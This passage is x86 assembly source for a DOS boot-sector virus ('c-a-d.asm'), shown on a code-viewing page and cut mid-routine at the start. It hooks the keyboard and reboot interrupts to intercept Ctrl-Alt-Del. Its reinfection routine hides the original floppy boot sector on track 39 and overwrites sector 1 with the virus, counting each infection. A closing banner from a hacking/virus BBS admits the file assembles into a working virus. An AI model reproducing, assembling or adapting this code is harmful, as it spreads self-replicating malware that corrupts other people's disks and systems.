📄 c-a-d.asm
字号:
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; Reinfection segment. ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; Reinfection Segment. ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<< NO EXECUTION PATH TO HERE >>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET ?JUST INFECTED ANOTHER ONE?...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2
COUNTER_1 DW 001CH
ALT_CTRL DW 0
A7DFC DB 27H,0,8,2
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -